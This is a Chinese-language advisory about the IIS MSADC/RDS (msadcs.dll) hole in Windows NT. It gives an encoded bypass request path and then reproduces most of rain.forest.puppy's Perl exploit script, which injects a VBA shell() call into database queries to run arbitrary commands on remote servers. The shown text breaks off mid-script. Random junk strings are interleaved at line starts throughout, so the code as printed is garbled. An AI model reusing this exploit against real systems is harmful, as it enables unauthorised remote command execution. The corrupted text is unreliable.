IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E5aRTDLq IR2=dQS 涉及程序:
Ez8k.]q u Microsoft NT server
*+OS;R1< |`ya+/ff+ 描述:
?(Se$iTZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
OZc4 -5 }y%c. 详细:
J>l?HK 如果你没有时间读详细内容的话,就删除:
apOXcZ c:\Program Files\Common Files\System\Msadc\msadcs.dll
xKR\w!+Z' 有关的安全问题就没有了。
*b'4>U C@`rg ILc 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
<Y]e "uli~ {IU 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
xi51,y+(5 关于利用ODBC远程漏洞的描述,请参看:
y'aK92pF: cX!C/`ew> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WNY:HH NnH]c+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
NSa6\.W) http://www.microsoft.com/security/bulletins/MS99-025faq.asp zO`4W!x& @(bg# 这里不再论述。
C. BlB 2HUw^ *3 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
}?\^^v h7 7fI2b,~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7nm'v'\u+V 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,,SV@y; Ptz##o'{5 mC0_rN^Aj #将下面这段保存为txt文件,然后: "perl -x 文件名"
- "NK"nb wn^#`s!]U #!perl
Oa2\\I
#
v,C~5J3h) # MSADC/RDS 'usage' (aka exploit) script
^@3,/dH1 t #
5(gWK{R)* # by rain.forest.puppy
I8a3: ) #
lEgjv, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h@E7wp1'~ # beta test and find errors!
c/Fgx/hr ;L,i">_%u[ use Socket; use Getopt::Std;
(3Q$)0t getopts("e:vd:h:XR", \%args);
j7U&a}(
1fvN[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PB
*v45 []v$QR&u#v if (!defined $args{h} && !defined $args{R}) {
2eHVl.C5 print qq~
qu1+.z=| Usage: msadc.pl -h <host> { -d <delay> -X -v }
=z;]FauR! -h <host> = host you want to scan (ip or domain)
RL:B.Lv/W -d <seconds> = delay between calls, default 1 second
O6/:J#X% -X = dump Index Server path table, if available
;yajt\a -v = verbose
/oW]? 9 -e = external dictionary file for step 5
DK
eB%k ^2H; Or a -R will resume a command session
dB6['z)2 ,PmUl= ~; exit;}
Nc&J%a %3O))Ug5 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,{mv6?_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
m}u)C&2> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X;H\u6-|>6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
NXQ=8o9,9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S)g:+P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a2Nxpxho >+Ig<}p if (!defined $args{R}){ $ret = &has_msadc;
m~
5"q%; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RyP MzxV I?St}Tl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5D.Sg;\ . "cmd /c ";
j g//I<D $in=<STDIN>; chomp $in;
e
pp04~ $command="cmd /c " . $in ;
0
zK{)HZ .b+ix=: if (defined $args{R}) {&load; exit;}
H0#=oJr$)W 5VP0Xa ~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/2zan} &try_btcustmr;
/q+;!EM 8 eK 8-R$ print "\nStep 2: Trying to make our own DSN...";
O>pv/Ns &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
t"Ci1"U a/\{NHs6"5 print "\nStep 3: Trying known DSNs...";
}^iqhUvT F &known_dsn;
*2u~5Kc< BGBHA"5fz print "\nStep 4: Trying known .mdbs...";
mM72>1~L* &known_mdb;
PWyf3 |dqHpogh if (defined $args{e}){
y/y~<-|<@ print "\nStep 5: Trying dictionary of DSN names...";
D/f4kkd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
MW6z&+Z DrKB;6 print "Sorry Charley...maybe next time?\n";
H)i|?3Ip exit;
# H
w(w iX6>u4~( ##############################################################################
Vn4wk>b}$2 :u./"[G sub sendraw { # ripped and modded from whisker
7dcR@v`c sleep($delay); # it's a DoS on the server! At least on mine...
*s*Y uY%y my ($pstr)=@_;
')!X1A{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Oo@o$\+v die("Socket problems\n");
i4,p\rE0 if(connect(S,pack "SnA4x8",2,80,$target)){
chKK9SC+| select(S); $|=1;
/ n_s"[I4 print $pstr; my @in=<S>;
!}z'"l4i select(STDOUT); close(S);
Q8%_q"C return @in;
iW^J>aKy } else { die("Can't connect...\n"); }}
dgF%&*Il]O S@qR~_>a ##############################################################################
E I zy .dk<?BI#H sub make_header { # make the HTTP request
]vlBYAW' my $msadc=<<EOT
IO)#O< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
m9oOH5@K~ User-Agent: ACTIVEDATA
H:]cBk^[, Host: $ip
@2/|rq Content-Length: $clen
OIL8'xY.w Connection: Keep-Alive
NDP"
@ [p9v#\G; [ ADCClientVersion:01.06
dv>n38&mDQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
bO2?DszT5 H#_Zv] --!ADM!ROX!YOUR!WORLD!
Z;Hkx1 Content-Type: application/x-varg
M/quswn1 Content-Length: $reqlen
,< x/ *u1q7JFQk EOT
&jHsFS ; $msadc=~s/\n/\r\n/g;
VFL^-tXnA^ return $msadc;}
"vSKj/] NC%hsg^0/ ##############################################################################
X}v*"`@Q 7Hr_ZwO/^ sub make_req { # make the RDS request
C)z4Cn9# my ($switch, $p1, $p2)=@_;
"0PrdZMx my $req=""; my $t1, $t2, $query, $dsn;
W~'xJ )"pvF8JR%3 if ($switch==1){ # this is the btcustmr.mdb query
R~4X?@ZB $query="Select * from Customers where City=" . make_shell();
Q!;syJBb. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1j$\ 48Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
xKG7d8= );h(D!D, elsif ($switch==2){ # this is general make table query
3NgXM $query="create table AZZ (B int, C varchar(10))";
^PTf8o $dsn="$p1";}
3&+dyhL'w Z5>~l elsif ($switch==3){ # this is general exploit table query
D#b*M)X" $query="select * from AZZ where C=" . make_shell();
8x U*j $dsn="$p1";}
-!Myw&*\V Kd`(^ elsif ($switch==4){ # attempt to hork file info from index server
a)JXxst $query="select path from scope()";
g[O?wH-a $dsn="Provider=MSIDXS;";}
d
fj23+ N
$) G8 elsif ($switch==5){ # bad query
W5
F\e[Ax5 $query="select";
"Gp[.=.z? $dsn="$p1";}
985F(r HE,L8S $t1= make_unicode($query);
+-^>B%/&Z $t2= make_unicode($dsn);
m!/TJhiQ $req = "\x02\x00\x03\x00";
2bNOn%! $req.= "\x08\x00" . pack ("S1", length($t1));
Cf=H~&`Z $req.= "\x00\x00" . $t1 ;
[i` $req.= "\x08\x00" . pack ("S1", length($t2));
tp] 5[U $req.= "\x00\x00" . $t2 ;
V:kRr cX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.J)TIc__|A return $req;}
T;/GHC`{Y |#@7$#j ##############################################################################
U =.PL\ G;l7,1;MU: sub make_shell { # this makes the shell() statement
v_!6S|
return "'|shell(\"$command\")|'";}
z%YNZ^d B$_4ul\) ##############################################################################
(' 5?- bQt:=> sub make_unicode { # quick little function to convert to unicode
R+M =)Z my ($in)=@_; my $out;
g#J aw|N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
35& ^spb return $out;}
a{]=BY oL \X8b!41 ##############################################################################
*y*tI} a;HAuy`M x sub rdo_success { # checks for RDO return success (this is kludge)
<